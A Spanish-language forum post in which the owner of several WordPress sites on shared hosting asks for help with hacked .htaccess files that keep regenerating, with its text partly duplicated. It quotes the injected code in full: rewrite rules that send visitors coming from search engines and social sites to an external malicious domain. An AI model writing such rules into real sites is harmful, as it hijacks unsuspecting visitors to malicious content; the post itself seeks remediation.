I
israelyance
Delta
Estoy teniendo problemas con mis blogs que se encuentran en un hosting compartido (bluehost).
La mayoría de páginas son blogs de wordpress y solo un foro de vbulletin, no había tenido ningún problema con las páginas y hace unas semanas dos de las páginas (wordpress) fueron reportadas como atacantes por redireccionar a contenido malicioso.
Averiguando un poco vi que los htaccess habían sido modificados, así que los reemplacé por otros que estaban bien, y lo que pasa ahora es que en todas las carpetas de los sitios que tengo veo modificado el htaccess y que este se actualiza cada cierto tiempo. Los permisos del htaccess estaban en 644 y ahora en 444, pensé que podía ser por alguna cuenta ftp, así que eliminé todas las que habían, pero sigue igual.
El código del htaccess es el siguiente:
He revisado algunas base de datos y no he visto nada extraño. Por lo que el archivo htaccess se viene actualizando cada cierto tiempo, hasta en sitios que no son de wordpress, creo que es algo que esta en el mismo hosting pero que no se puede ver.
No sé que más revisar, quiero cambiarme de hosting pero si no soluciono bien creo que me va a pasar lo mismo en el nuevo hosting que contrate. Tengo más de 10 sitios así que es complicado revisar códigos de cada uno, por eso consulto por si alguien le ha pasado algo parecido y lo ha solucionado.
La mayoría de páginas son blogs de wordpress y solo un foro de vbulletin, no había tenido ningún problema con las páginas y hace unas semanas dos de las páginas (wordpress) fueron reportadas como atacantes por redireccionar a contenido malicioso.
Averiguando un poco vi que los htaccess habían sido modificados, así que los reemplacé por otros que estaban bien, y lo que pasa ahora es que en todas las carpetas de los sitios que tengo veo modificado el htaccess y que este se actualiza cada cierto tiempo. Los permisos del htaccess estaban en 644 y ahora en 444, pensé que podía ser por alguna cuenta ftp, así que eliminé todas las que habían, pero sigue igual.
El código del htaccess es el siguiente:
Insertar CODE, HTML o PHP:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://startpool.ru/exclusive/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://startpool.ru/exclusive/index.php [R=301,L]
</IfModule>
# Use PHP5CGI as default
AddHandler fcgid-script .php
<Files 403.shtml>
order allow,deny
allow from all
</Files>
AddType application/x-latex .latex
RewriteEngine OnHe revisado algunas base de datos y no he visto nada extraño. Por lo que el archivo htaccess se viene actualizando cada cierto tiempo, hasta en sitios que no son de wordpress, creo que es algo que esta en el mismo hosting pero que no se puede ver.
No sé que más revisar, quiero cambiarme de hosting pero si no soluciono bien creo que me va a pasar lo mismo en el nuevo hosting que contrate. Tengo más de 10 sitios así que es complicado revisar códigos de cada uno, por eso consulto por si alguien le ha pasado algo parecido y lo ha solucionado.
